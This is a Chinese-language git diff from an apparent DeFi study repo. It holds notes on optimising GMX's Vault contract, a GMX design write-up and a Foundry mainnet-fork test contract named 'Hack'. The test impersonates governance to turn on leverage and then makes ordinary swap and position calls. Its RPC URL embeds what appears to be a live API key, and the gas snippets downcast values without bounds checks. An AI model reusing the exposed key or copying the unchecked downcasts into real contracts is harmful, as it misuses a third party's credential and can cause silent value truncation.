+    require(isSwapEnabled, "23");
+    require(whitelistedTokens[_tokenIn], "24");
+    require(whitelistedTokens[_tokenOut], "25");
+    require(_tokenIn != _tokenOut, "26");
+}
+```
+
+## 提升3 
+### 优化mapping
+
+优化前 gas 263554
+
+* 这么多address mapping, 太浪费, 合并成一个结构体, 把uint256改小
+
+```solidity
+uint256 public override totalTokenWeights;
+mapping (address => bool) public override whitelistedTokens;
+mapping (address => uint256) public override tokenDecimals;
+mapping (address => uint256) public override tokenWeights;
+mapping (address => uint256) public override minProfitBasisPoints;
+mapping (address => uint256) public override maxUsdgAmounts;
+mapping (address => bool) public override stableTokens;
+mapping (address => bool) public override shortableTokens;
+address[] public override allWhitelistedTokens;
+uint256 public override whitelistedTokenCount;
+
+function setTokenConfig(
+        address _token,
+        uint256 _tokenDecimals,
+        uint256 _tokenWeight,
+        uint256 _minProfitBps,
+        uint256 _maxUsdgAmount,
+        bool _isStable,
+        bool _isShortable
+    ) external override {
+    // increment token count for the first time
+    if (!whitelistedTokens[_token]) {
+        whitelistedTokenCount = whitelistedTokenCount.add(1);
+        allWhitelistedTokens.push(_token);
+    }
+
+    uint256 _totalTokenWeights = totalTokenWeights;
+    _totalTokenWeights = _totalTokenWeights.sub(tokenWeights[_token]);
+
+    whitelistedTokens[_token] = true;
+    tokenDecimals[_token] = _tokenDecimals;
+    tokenWeights[_token] = _tokenWeight;
+    minProfitBasisPoints[_token] = _minProfitBps;
+    maxUsdgAmounts[_token] = _maxUsdgAmount;
+    stableTokens[_token] = _isStable;
+    shortableTokens[_token] = _isShortable;
+
+    totalTokenWeights = _totalTokenWeights.add(_tokenWeight);
+}
+```
+
+#### 优化后 263554 -> 168347
+```solidity
+struct AddrObj{
+    bool isLiquidator;
+    bool isManager;
+    bool whitelistedTokens;
+    bool stableTokens;
+    bool shortableTokens;
+    uint32 tokenWeights; // 可以大于100, 利用tokenWeights / totalTokenWeights 计算总比例
+    uint16 tokenDecimals;// 一般在0-32之间
+    uint16 minProfitBasisPoints; // 最大值10000, 因此65535够用了
+    // feeReserves tracks the amount of fees per token
+    uint112 feeReserves;
+}
+    
+mapping (address => AddrObj) public addrObjs;
+
+function setTokenConfig(
+        address _token,
+        uint256 _tokenDecimals,
+        uint256 _tokenWeight,
+        uint256 _minProfitBps,
+        uint256 _maxUsdgAmount,
+        bool _isStable,
+        bool _isShortable
+    ) external  {
+    // increment token count for the first time
+    AddrObj memory _addrObj = addrObjs[_token];
+    Slot0 memory _slot0 = slot0;
+
+    if (!_addrObj.whitelistedTokens) {
+        _slot0.whitelistedTokenCount = _slot0.whitelistedTokenCount + 1;
+        allWhitelistedTokens.push(_token);
+    }
+
+    uint32 _totalTokenWeights = _slot0.totalTokenWeights;
+    _totalTokenWeights = _totalTokenWeights - _addrObj.tokenWeights;
+
+    _addrObj.whitelistedTokens = true;
+    _addrObj.tokenDecimals = uint16(_tokenDecimals);
+    _addrObj.tokenWeights = uint32(_tokenWeight);
+    _addrObj.minProfitBasisPoints = uint16(_minProfitBps);
+    _addrObj.stableTokens = _isStable;
+    _addrObj.shortableTokens = _isShortable;
+    addrObjs[_token] = _addrObj;
+    maxUsdgAmounts[_token] = _maxUsdgAmount;
+
+    _slot0.totalTokenWeights = _totalTokenWeights + uint32(_tokenWeight);
+    slot0 = _slot0;
+}
+```
+
+## 提升4 local作用域, 保存变量多次使用
+
+#### before 54280
+```solidity
+function _increaseReservedAmount(address _token, uint256 _amount) external {//54280
+    reservedAmounts[_token] = reservedAmounts[_token] + _amount;
+    require(reservedAmounts[_token] <= poolAmounts[_token], "error");
+}   
+```
+
+
+
+#### after 54011
+```solidity
+function _increaseReservedAmount2(address _token, uint256 _amount) external {//54011
+    uint256 _local = reservedAmounts[_token];
+    _local = _local + _amount;
+    require(_local<= poolAmounts[_token], "error");
+    reservedAmounts[_token] = _local;
+}
+```
+
+## 提升5 减少重复访问另一个合约
+作者有较多函数调用了VaultPriceFeed合约, 该合约与vault合约完全分离, vault通过调用该合约获取代币当前的标记价格, 如果是我们本地访问这种view函数, 是不需要gas费的, 但是如果是在一次transaction当中访问, 是需要额外gas的. 因此可以在此同一次transaction当中, 缓存价格, transaction结束后,清空缓存. 避免重复消耗资源, 从而达到节省gas的目的.
+
+
+# 2. 代码文件大小的优化
+我们在优化了gas和数据结构后, 发现代码因为过大无法部署, 另一方面也说明原先代码功能过于集中在一个文件, 后期维护和升级造成较大困难
+
+我们的主要目的是拆分`Vault.sol`
+
+#### 使用代理合约
+拆分代码一般步骤: 
+* 抽离状态变量做一个单独的父类
+* 逻辑合约与代理合约分别继承同一个父类的状态变量, 保持插槽一致性
+* 把原先代码中比较长的函数分离出来, 放入新建的这个逻辑合约中
+* 把逻辑合约和代理合约中共用的代码做成library(最好是internal的, 节省一些gas费, 否则又是一个跨合约调用)
+* libraray拆分一般是计算类的工具类的函数形成一个lib
+* 验证类的形成一个lib
+* 修改状态变量类的形成一个lib(只修改一个状态变量且需要大量计算的, 如果修改多个状态变量的,不建议形成lib)
+
+
+```solidity
+contract VaultStorage{
+// 这里放状态变量, 一般定义为internal
+    uint256 internal x;
+    address internal vaultManager;
+}
+interface IVault{
+    function A()external;
+    function B()external;
+    function getX() exnteral returns(uint256);
+    function setX() exnteral;
+}
+contract Vault is IVault{
+    constructor(address _mgr){
+        vaultManager = _mgr;
+    }
+    function A()external override{
+        //...
+    }
+    function B()external override{
+        vaultManager.delegatecall(msg.data);        
+    }
+    function getX()external override returns(uint256){
+        return x;
+    }
+    function setX(uint256 _x) external override{
+        x = _x;
+    }
+}
+contract VaultManager{
+    function B()external {
+        // ...
+    }
+}
+
+```
+其实原作者在拆分方面已经做了很多工作:
+* 把报错的代码单独分拆出来, 形成一个`error controller`合约
+* `vault price feed`单独分离出来做了一个合约
+* 做了route合约, 把一部分非核心逻辑抽离出来
+* 做了reader和vaultreader合约, 把一部分view和大量数学计算的函数抽离
diff --git a/defi/GMX/POC.t.sol b/defi/GMX/POC.t.sol
new file mode 100644
index 000000000..0680897da
--- /dev/null
+++ b/defi/GMX/POC.t.sol
@@ -0,0 +1,73 @@
+pragma solidity 0.6.12;
+
+import "forge-std/Test.sol";
+
+import {Vault as VaultLike} from "gmx-contracts/core/Vault.sol";
+import {GlpManager} from "gmx-contracts/core/GlpManager.sol";
+import {GLP as ERC20Like} from "gmx-contracts/gmx/GLP.sol";
+import {USDG} from "gmx-contracts/tokens/USDG.sol";
+
+contract Addrs is Test {
+    address public constant priceFeed = 0xfe661cbf27Da0656B7A1151a761ff194849C387A;
+    address public constant router = 0xaBBc5F99639c9B6bCb58544ddf04EFA6802F4064;
+    address public constant usdg = 0x45096e7aA921f27590f8F19e457794EB09678141;
+    address public constant vault = 0x489ee077994B6658eAfA855C308275EAd8097C4A;
+    address public constant glp = 0x4277f8F2c384827B5273592FF7CeBd9f2C1ac258;
+    address public constant gov = 0x1e0FD2CC7329Ddf6bDA35f85579E1bC2996dB0d9;
+
+    address public constant USDC = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
+    address public constant WETH = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
+}
+
+contract Hack is Addrs {
+    constructor() public {
+        ERC20Like(USDC).approve(vault, type(uint256).max);
+        ERC20Like(WETH).approve(vault, type(uint256).max);
+    }
+
+    function swap() public {
+        ERC20Like(USDC).transfer(vault, 1000 * 10 ** 6);
+        VaultLike(vault).swap(USDC, WETH, address(this));
+    }
+
+    function increasePosition() public {
+        ERC20Like(WETH).transfer(vault, 1 ether);
+        VaultLike(vault).increasePosition(address(this), WETH, WETH, 1600 * 10 * 10**30, true);
+    }
+    
+}
+
+contract POC is Addrs {
+    Hack public hack;
+    GlpManager public glpManager;
+
+    function setUp() public {
+        vm.createSelectFork("https://arb-mainnet.g.alchemy.com/v2/RTb8ZyTgyCSlZJw9V6EtmzqRkT5rFBwG", 22621954);
+        vm.prank(gov);
+        VaultLike(vault).setIsLeverageEnabled(true);
+
+        // vault = new Vault();
+        // vault.initialize(router, usdg, priceFeed, 5000000000000000000000000000000, 100, 100);
+        // glpManager = new GlpManager(address(vault), usdg, glp, 15 * 60);
+        // glpManager.setInPrivateMode(true);
+        // GLP(glp).setMinter(address(glpManager), true);
+        // USDG(usdg).addVault(address(glpManager));
+
+        // vault.setFundingRate(60*60, 100, 100);
+        // vault.setManager(address(glpManager), true);
+        // vault.setFees(10,5,20,20,1,10,5000000000000000000000000000000,24*60*60,true);
+
+        hack = new Hack();
+
+        deal(USDC, address(hack), 1000 * 10 ** 6);
+        deal(WETH, address(hack), 1000 ether);
+    }
+
+    function _test_swap() public {
+        hack.swap();
+    }
+
+    function test_increasePosition() public {
+        hack.increasePosition();
+    }
+}
diff --git a/defi/GMX/Share.md b/defi/GMX/Share.md
new file mode 100644
index 000000000..98b766a38
--- /dev/null
+++ b/defi/GMX/Share.md
@@ -0,0 +1,443 @@
+# GMX share
+
+- GMX 项目分享视频回放
+  - YouTube
+    - 1p <https://www.youtube.com/watch?v=_KyDkEu0sYs>
+    - 2p <https://www.youtube.com/watch?v=7wTPIUw6iGo>
+  - Bilibili
+    - 1p <https://www.bilibili.com/video/BV12P411374D>
+    - 2p <https://www.bilibili.com/video/BV1Ae411u7iG>
+
+## 前端及操作逻辑： Trade-Glp-Staking
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/GMX/2022-09-03-11-06-25.png?raw=true" /></center>
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/GMX/2022-09-03-11-04-40.png?raw=true" /></center>  
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/GMX/2022-09-03-11-07-07.png?raw=true" /></center>
+
+## 行业地位
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/GMX/2022-09-03-11-08-41.png?raw=true" /></center>
+  
+## 参考资料
+
+<https://www.notion.so/GMX-Technical-Overview-adcd9003194f444f81a28bcbecdde773>
+
+## 项目历史
+
+1. Started XVIX in November 2020,
+2. Upgraded to Gambit on BSC in March 2021,
+3. Launched GMX in September 2021 on Arbitrum,
+4. GMX Update 1 (1 week after launch), Pricing improvements so traders can trade with smaller spreads, LINK, UNI and USDT added to GLP Pool to steer GLP further towards the
+   S&P 500 for crypto vision, Integrations with aggregators,
+5. GMX Update 2 (3 months after launch), Launch on Avalanche as well as Arbitrum and BSC,
+   Interface improvements, Launch of incentives program to encourage organic growth, Implementing fee discounts after community suggestions,
+   Integration with Olympus Pro, Oversees GMX Blueberry Club delivery
+
+## core dev
+
+<https://github.com/xvi10>
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/GMX/2022-09-03-11-19-09.png?raw=true" /></center>
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/GMX/2022-09-03-11-15-28.png?raw=true" /></center>
+
+## GMX 设计思路-交易部分
+
+GMX 整体来讲是一个散户和 LP 对赌的期货交易所,CFD。 散户的交易不会影响到标记价格，不存在类似于现货交易所如 Uni 那样的价格发现曲线，交易的成交完全受标记价格控制。
+GMX 项目的去中心化程度相对较高，主要是用户的主要操作都在链上直接完成，如下图：
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/GMX/2022-09-03-16-12-43.png?raw=true" /></center>
+
+GMX 的用户主要有两类，分别是散户和 GLP。散户的主要操作是开仓，平仓，swap 等；GLP 的主要操作是 buyGLP 和 sellGLP 来提供流动性和移除流动性。
+
+同时 GMX 支持多种货币：WBTC,WETH,UNI,LINK,USDC,USDT,DAI,MIM,FRAX
+但是支持多种 token，并且还有非稳定币的 token，在 vault 中应该如何正确记账？交易规则应该如何设置？
+
+### GMX 交易规则设置
+
+- 开多，抵押品必须为 WBTC，WETH，UNI，LINK 这四种非稳定币，交易品种也必须与抵押品一致，平仓时，用户得到的利润也是 WBTC，WETH，UNI，LINK
+- 开空，抵押品必须是 USDC,USDT,DAI,MIM,FRAX 这五种稳定币，交易品种则只能是 WETH-USD，WBTC-USD，平仓时，用户得到的利润也必须是 USDC,USDT,DAI,MIM,FRAX
+- 无论开多还是开空，盈亏的币种都与抵押品币种一致
+
+思考：
+
+1. 用稳定币开多为什么不行？同理，用非稳定币开空为什么不行？
+2. 类似于 MCDX，不同的币种如果分开交易，如何保证该币种的流动性深度足够，从而降低交易滑点？
+
+最简单的方式可能是同时做多个市场，每一种市场一个币种。比如 WBTC 就是 WBTC-USD 交易对的币本位合约，USDC 就是 WBTC-USD 交易对的 U 本位合约。这样做的好处是每一个币种都有清晰的市场，很好记账，但是坏处就是用户的流动性分散到多个市场里。用户交易时会发现深度很浅。
+
+GMX 的解决方案是提供一个混币池，给混币池做一个指数 GLP，从而把用户提供的流动性全部集中起来，所有的币事实上都在这一个混币池里交易。
+
+### GMX 混币池 Vault 设计
+
+作为一个混币池，需要给每个币定一个目标占比，这样可以根据占比来定一个指数：GLP
+
+在 Vault 种，其设计为：
+
+```jsx
+// tokenWeights allows customisation of index composition
+    mapping (address => uint256) public override tokenWeights;
+WETH: 25% -- 28.65%
+WBTC: 15% -- 14.26%
+LINK: 5%  -- 2.49%
+UNI:  1%  -- 0.81%
+USDC: 30% -- 35.15%
+USDT: 9%  -- 6.06%
+DAI:  12% -- 10.98%
+MIM:  1%  -- 0%
+FRAX: 2%  -- 1.58%
+```
+
+另一个关键问题是：混币池中，应该如何给每一种 token 记账？
+
+由于是混币池，同时存在多种币种，稳定币，非稳定币等，设定一个内部记账用的 token，usdg 来表示相应 token 的价值，并规定 1usdg=1 刀。这样系统内部的所有账本都可以基于 usdg 来记账。
+
+此时需要分析：vault 中，token 的来源：
+
+- LP 流动性提供者，通过任意一种 token 来购买指数 GLP，从而给 vault 提供流动性
+- 散户开多单，向 Vault 中提供 WBTC，WETH，UNI，LINK 这四种非稳定币，多单的盈亏也是这 4 种非稳定币
+- 散户开空单，向 Vault 中提供 USDC,USDT,DAI,FRAX,MIM 这五种稳定币，空单的盈亏也是这 5 种稳定币
+- 任何用户来 swap，向 vault 种提供 tokenA，按照预言机价格换成 tokenB。可以认为是用户拿着 tokenA 卖给系统，换成系统内部记账的 usdg，然后拿着系统内部记账的 usdg 买 tokenB。此时流入 tokenA，流出 tokenB
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/GMX/2022-09-03-16-17-31.png?raw=true" /></center>
+
+- 针对 LP 提供者，当他们 buyGLP 时，可以认为他们是拿着手上的 WBTC，WETH 等币，按照当时的 WBTC，WETH 等的价格先去 vault 里面购买 usdg，然后拿着 usdg 这种内部记账的稳定币来按照当时的 GLP 价格购买 GLP。
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/GMX/2022-09-03-16-17-59.png?raw=true" /></center>
+如上图所示，用户拿着1 WETH来购买GLP，在Vault种，就是用WETH来换成vault内部记账的USDG。此时vault的WETH数量增加，WETH这种token对应的USDG债务增加。
+则需要一个mapping来记录vault收到的token数量：`PoolAmounts(WETH⇒0.997 ether)`
+还需要一个mapping来记录vault里该种token对应的USDG债务：`UsdgAmounts(WETH⇒3000 U)`
+为了收集手续费，需要一个记录手续费的账本：`feeReserves(WETH⇒0.003 ether)`
+
+- 针对散户开多单，散户拿着 WETH，开 10 倍杠杆的多单，事实上就是散户拿 1 ether，然后 vaults 中的 LP 借给散户 9 ether，一共 10 ether 的头寸，在 ETH-USD:3000 的价位开多单。  
+  也可以理解为：散户拿着 1 ether，然后把这 1 ether 卖给 vaults，换成等值的 3,000 usdg，然后 vaults 中的 LP 借给散户 27,000 usdg，一共 30,000 usdg 的头寸，此时该仓位的平均价格是 3,000 usdg.此时用户的开仓手续费，含资金费用（0 USD）为 30 usdg。
+  该手续费 30 U，折合 ETH 数量为 0.01 ether
+  此时，需要记录 vaults 中 LP 借给散户的 27,000+30 USDG 债务，即`guranteedUsd(WETH ⇒ 27,030 U)`
+  需要记录 vaults 中用户实际转账过来的 WETH 数量，即`poolAmounts(WETH ⇒ 0.99 ether)`
+  同时需要考虑到 vaults 中有足够的 WETH 来兑现散户的头寸，即`reserveAmounts(WETH ⇒ 10 ether)`, 要求是用于兑现所有散户的头寸的 reserve WETH 数量必须小于 vaults 中持有的 WETH 数量 poolAmounts
+- 针对散户开空单，散户拿着 3,000 USDC,开 10 倍的空单，也就是 vaults 中的 LP 借给散户 27,000 USDC, 一共 30,000 USDC 的头寸，在 ETH-USD:3000 的价格开空单。
+  也可以理解为：散户拿着 3,000 USDC，然后把这 3,000 USDC 卖给 vaults，换成等值的 3,000 usdg，然后 vaults 中的 LP 借给散户 27,000 usdg，一共 30,000 usdg 的头寸，此时该仓位的平均价格是 3,000 usdg.此时用户的开仓手续费，含资金费用（0 Usd）为 30 usdg。
+  需要考虑到 vaults 中有足够的 USDC 来兑现散户的头寸，即`reserveAmounts(USDC⇒ 30,000 ether)`, 要求是用于兑现所有散户的头寸的 reserve USDC 数量必须小于 vaults 中持有的 USDC 数量 poolAmounts
+  由于开空单，只能是稳定币, 这里为了解决用 USDC 开 ETH-USD 空单和用 USDT 开 ETH-USD 空单，FRAX 开 ETH-USD 空单的问题，如果还是按照开多单的思路，就会导致流动性分散，这里为了集中流动性，把统一成了一个全局的稳定币头寸，按照不同的标的来记录，`globalShortSize(ETH⇒30,000)`
+
+### Glp 定价
+
+GLP 最重要的是对于 GLP 的定价
+
+$$
+GLP_{price}=\frac{\sum AUM_{token}}{GLP_{totalSupply}}
+$$
+
+</br>
+
+$$
+AUM_{stableToken} = PoolAmount_{token} \times Price_{token}
+$$
+
+</br>
+
+$$
+\begin{align*}
+AUM_{NonStableToken} = PoolAmount \times Price + {PnL_{long}} + {PnL_{short}} \\
+PnL_{long} = GuranteedUSD - ReserveAmount \times Price \\
+PnL_{short} = \pm Size_{globalShort} \times \frac{\mid Price-avgPrice_{globalShort} \mid  }{avgPrice_{globalShort}}
+\end{align*}
+$$
+
+对于 short 部分：
+
+$$
+\begin{align*}
+Price > avgPrice_{globalShort}, & {User亏损}, {LP盈利}, {PnL_{short}}>0 \\
+Price < avgPrice_{globalShort}, & {User盈利}, {LP亏损}, {PnL_{short}}<0
+\end{align*}
+$$
+
+对于 long 部分：
+
+$$
+\begin{align*}
+GuranteedUSD &: \text{用户开仓时，杠杆数超过1，而向LP借款的部分} \\
+ReserveAmount\times Price&: \text{LP预留给用户用以实现仓位的部分的当前时刻价值} \\
+ReserveAmount &: \text{用户开平仓时，那个时刻的仓位价值与那个时刻的价格比，即为LP预留的Token数量}
+\end{align*}
+$$
+
+在合约中，对于 GLP 的定价部分在 GlpManager 中的 getAum 函数中：
+
+```js
+function getAum(bool maximise) public view returns (uint256)
+第一步：拿到vault中支持的所有token列表
+第二步：设定Aum的初值为aumAddition，该aumAddition值由系统管理员设置
+第三步：遍历所有的token列表，拿到某一个token，判断该token是否是白名单中的token
+第四步：如果该token不是白名单的token，则跳过该token，不纳入统计范围
+第五步：根据传入的参数，拿到该token的最大价格或者是最小价格，作为该token的统计价格
+第六步：拿到该token的poolAmount作为该token的存在数量
+第七步：拿到该token的小数位数
+第八步：如果该token是稳定币，则aum+=poolAmount*Price
+第九步：如果该token不是稳定币，则统计该token的价值时，
+        还需要考虑系统的在该token上的未实现盈亏，分别考虑多头和空头部分
+第十步：需要首先拿到该token的globalShortSize，即vault在该token上的全局空仓头寸。
+第十一步：如果该空仓头寸大于0，则拿到该空仓头寸的平均价格avgPrice，
+        计算 delta = size * abs(price-avgPrice) / avgPrice
+        如果当前价格比avgPrice价格高，则用户亏钱，LP赚钱，则 aum+=delta
+        如果当前价格比avgPrice价格低，则用户赚钱，LP亏钱，则 aum-=delta
+第十二步：考虑多头部分，aum+=guranteedUsd[token]，即将用户从LP这里借的钱也算作LP的资产
+第十三步：拿到系统预留下的token数量，reserveAmount
+第十四步：从poolAmount中扣除reserveAmount后，在乘以price得到该token的净价值
+第十五步：最后从aum中扣除aumDeduction部分，作为所有token的总价值
+```
+
+除了 GLP 的定价外，另一个值得关注的点是：具体购买/销毁 GLP 的流程
+
+反映在合约中，即为 addLiquidity 和 removeLiquidity
+
+Add Liquidity:
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/GMX/2022-09-03-16-00-15.png?raw=true" /></center>
+
+removeLiquidity
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/GMX/2022-09-03-16-00-28.png?raw=true" /></center>
+
+## 风控机制
+
+### 最大开仓限制
+
+在 increasePosition 方法中，针对开仓的限制主要有：
+
+1. `nextLeverage >= minLeverage`， 即开仓后新的杠杆要大于最小杠杆数
+2. `position.collateral >= fee`，即新仓位的抵押品价值要大于手续费，含资金费
+3. 新仓位不能立马被清算
+4. `reservedAmounts[_token] <= poolAmounts[_token]`，这里的限制事实上就是对于新开仓位的最大开仓限制：
+
+原因如下：
+reserveAmounts 记录的是开这个仓位的用户，该仓位的总价值兑换成`collateral token`的数量。也就是说 GMX 里并没有针对这单一的一个仓位进行限制，而是针对全局的所有仓位，所有该种 collateral 仓位的总和对应的`collateral token`数量即`reserveAmounts`不能超过 Vaults 里面存有的该种 token 的总量，`poolAmounts`
+
+### 开仓保证金计算逻辑，限仓，限杠杆
+
+限杠杆：1~max50
+限仓：reservedAmounts[_token] <= poolAmounts[_token]
+保证金计算逻辑：
+对于做多，position 仓位的更新过程如下：
+如果是该用户针对该种 token 的首次做多，则首先更新仓位的平均价格，为 indexToken 的 maxPrice。如果不是首次做多，则需要先计算一个仓位的平均价格，即现在的开仓价格\*仓位的总头寸/(总头寸+delta)
+
+$$
+\begin{align*}
+Price_{avg} & = \frac{ Price \times Size}{Size+\Delta} \\
+\Delta & = Size^{before} \times \frac{\left | Price - Price_{avg}^{before} \right | }{Price_{avg}^{before}} \\
+Size & = Size^{before} + \delta Size
+\end{align*}
+$$
+
+$$
+Price_{avg}=\frac{Size}{\frac{Size^{before}}{Price^{before}}+\delta \times \frac{1}{Price}}
+$$
+
+然后更新仓位的 collateral，即以 U 计价的抵押品价值
+
+$$
+\begin{align*}
+\delta token & = tokenBalance^{after}-tokenBalance^{before}\\
+collateral & =collateral+\delta token \times Price_{min}- fee_{margin}\\
+fee_{margin} & =fee_{position}+fee_{funding}\\
+fee_{position} & =\delta Size\times 0.1\%\\
+fee_{funding} & =Size^{before}\times\frac{FundingRate_{acc}-FundingRate_{entry}}{1000000}
+\end{align*}
+$$
+
+然后分别更新仓位的 entry 和 size，time 等：
+
+$$
+\begin{align*}
+Size & = Size^{before}+\delta Size\\
+entryFundingRate & =FundingRate_{acc}\\
+lastIncreasedTime & = now
+\end{align*}
+$$
+
+最后是更新仓位的 reserveAmount：
+
+$$
+\begin{align*}
+\delta reserve & = \frac{\delta Size}{Price_{min}}\\
+reserve & = reserve^{before} + {\delta reserve}
+\end{align*}
+$$
+
+更新完 Position 的仓位数据后，对于做多，还需要更新如下账本：
+
+针对 guranteedUsd 账本，用于记录该种 token 对应的头寸与以 U 计价的保证金的差值
+
+$$
+\begin{align*}
+guranteedUSD_{token}^{after} & = guranteedUSD_{token}^{before}+\Delta\\
+\Delta & = \delta Size+fee_{margin}-\delta token \times  Price_{min}
+\end{align*}
+$$
+
+针对 PoolAmount 账本，手续费被认为是不属于 poolAmount 中，因为 margin fee 在仓位的保证金价值里扣除的，而 poolAmount 只追踪仓位的保证金 token 数量。所以这里需要减去手续费对应的 token 数量。
+
+$$
+\begin{align*}poolAmount_{token} & = poolAmount_{token}^{before}+\Delta\\\Delta &= \delta token-\frac{fee_{margin}}{price_{max}}
+\end{align*}
+$$
+
+### 平仓盈亏计算：指数价格，标记价格，手续费
+
+手续费计算：
+累计资金费率：
+
+$$
+\begin{align*}FoundRate_{acc} & = FoundRate_{acc}^{before}+\Delta \\\Delta & = 100 \times \frac{now-time_{last}}{8hour}\times \frac{reserveAmount_{token}}{poolAmount_{token}}  \end{align*}
+$$
+
+然后是计算 margin 的手续费：
+
+$$
+\begin{align*}
+fee_{margin} & = fee_{position}+fee_{funding}\\
+fee_{position} & = \delta Size\times 0.1\% \\
+fee_{funding} & = Size^{before} \times \frac{FundingRate_{acc}-FundingRate_{entry}}{1000000}
+\end{align*}
+$$
+
+平仓盈亏计算：
+
+对于用户，用户可以部分平仓，也可以全平。部分平仓时，用户可以指定需要取出的 coll 数量,用 USD 计价，即 $\delta coll$ 和需要平掉的仓位大小 $\delta size$。
+
+对于部分平多：
+
+利用仓位对应的 indexToken，来计算未实现盈亏 delta
+
+$$
+\begin{align*}\Delta = Size^{before}\times \frac{\left | price-price_{avg}^{before} \right | }{price_{avg}^{before}} \end{align*}
+$$
+
+更新 realisedPnL 值和保证金 coll 值：
+
+$$
+\begin{align*}
+USD^{out} & = \delta coll+\Delta \times \frac{\delta Size}{Size^{before}}  & \text{ 用户获利： } price\ge  price_{avg}^{before} \\
+coll & = coll^{before} - \delta coll & \text{ 用户获利： } price\ge  price_{avg}^{before} \\
+realisedPnL & = realisedPnL^{before}+ \Delta \times \frac{\delta Size}{Size^{before}}  & \text{ 用户获利： } price\ge price_{avg}^{before} \\
+\end{align*}
+$$
+
+</br>
+
+$$
+\begin{align*}
+USD^{out}  & =  \delta coll  & \text{ 用户亏损： } price < price_{avg}^{before} \\
+coll  & =  coll^{before}- \Delta \times \frac{\delta Size}{Size^{before}} - \delta coll& \text{ 用户亏损： } price < price_{avg}^{before} \\
+realisedPnL  & =  realisedPnL^{before}- \Delta \times \frac{\delta Size}{Size^{before}}  & \text{ 用户亏损： } price < price_{avg}^{before} \\
+\end{align*}
+$$
+
+其中，USDout 就是平仓时，需要由金库转给用户的 USD 值。
+
+然后是扣除手续费，如果 USDout 大于手续费，则直接从 USDout 里面扣除，如果 USDout 小于手续费，则从保证金里扣除
+
+$$
+\begin{cases}
+USD^{out} & = USD^{out}-fee  & \text{ if:   } USD^{out}>fee \\
+coll & = coll-fee & \text{ if:   } USD^{out}\le fee \\
+\end{cases}
+$$
+
+然后是更新头寸和 entryFoundingRate，
+
+$$
+\begin{align*}
+Size & = Size^{before}-\delta Size\\
+FoundingRate_{entry} & = FoundingRate_{acc}\\
+\end{align*}
+$$
+
+对于做多，此时还需要更新 guranteedUSD 表
+
+$$
+\begin{align*}
+guranteedUSD_{token}^{after} & = guranteedUSD_{token}^{before}+\Delta\\
+\Delta & = coll^{before}-coll^{after} - {\delta Size}
+\end{align*}
+$$
+
+在给用户转账 USDout 前，需要折算 USDout 等价的 token，并将其更新到 PoolAmount 账本中
+
+$$
+\begin{align*}
+poolAmount_{token} & = poolAmount_{token}^{before}-\Delta\\
+\Delta & = \frac{USD^{out}}{price_{max}}
+\end{align*}
+$$
+
+最后把折算好的 token 数量打给用户即可。
+
+## 预言机处理，指数价格，标记价格合成
+
+GMX 有一套复杂的逻辑来根据 index price 计算 mark price，下述的分析是基于目前 GMX 运行的状态
+
+### index price
+
+目前的 index price 的数据来源有两块：
+第一部分是 chainlink 的数据源；
+第二部分是项目方自己向合约里面输入的 price。即 fastPriceFeed。
+
+```js
+Function: setCompactedPrices(uint256[] _priceBitArray) ***
+
+MethodID: 0x1d4e3740
+[0]:  0000000000000000000000000000000000000000000000000000000000000020
+[1]:  0000000000000000000000000000000000000000000000000000000000000001
+[2]:  00000000000000000000000000000000000027f900003c3f002d9cf4029d04eb
+```
+
+### mark price
+
+通过 index price 合成 mark price，GMX 自定义了一套算法，并且算法的参数可以实时修改。
+
+1.针对稳定币：USDC,USDT,MIM,FRAX,DAI
+它的计算逻辑是从 chainlink 里拿到该稳定币的价格，如果该价格在[0.95-1.05]之间，就认为该稳定币的价格就是 1.
+如果 chainlink 里拿到的稳定币价格不在[0.95-1.05]之间，则直接返回从 chainlink 里拿到的价格 2.非稳定币：WBTC，WETH
+它的计算逻辑是：
+
+- 从 chainlink 里拿到 WETH 的价格 refPrice
+- 把 refPrice 传到 fastPriceFeed 合约里，进行如下计算
+
+  - 计算 `minPrice = refPrice _ (1 - 2.5%)`
+  - 计算 `maxPrice = refPrice _ (1 + 2.5%)`
+  - 从 fastPriceFeed 里拿到最新 updated 的价格：fastPrice
+  - 如果 fastPrice 在[minPrice, maxPrice]之间，则返回 fastPrice
+  - 如果 fastPrice < minPrice, maximise ? refPrice : minPrice
+  - 如果 fastPrice > maxPrice, maximise ? maxPrice : refPrice
+
+    3.非稳定币：UNI，LINK
+    对于 UNI 和 LINK，它的基本计算逻辑与 WETH，WBTC 的逻辑一致，只是在返回的 price 上要额外乘以一个系数：正负 0.07%
+
+    ```ts
+    maximise ? price * 1.0007 : price * 0.9993;
+    ```
+
+  项目方设定了一个机器人，让机器人每两个块，调用一次 setCompactedPrices，来更新对应的 token 的价格，只包括 WBTC,WETH,UNI,LINK 的价格，不包括稳定币的价格. 如果两次更新价格的时间间隔超过了 300 秒，则不使用 fastPriceFeed，让其直接返回 chainlink 的价格。
+
+## staking 套娃机制
+
+在 GMX 里面设计了很多种 token，GMX，GLP，exGMX 等。其质押的核心逻辑还是 masterchef 方式。在多种 token 的交互中，主要的设计思路是质押，托管，兑现（vesting）
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/defi/GMX/2022-09-03-11-44-54.png?raw=true" /></center>
+
+### 质押逻辑
+
+GMX related:
+
+1. 首先质押GMX，得到sGMX，同时得到奖励代币esGMX
+2. 拿sGMX质押到Bonus池子里，得到sbGMX，同时得到奖励代币bnGMX
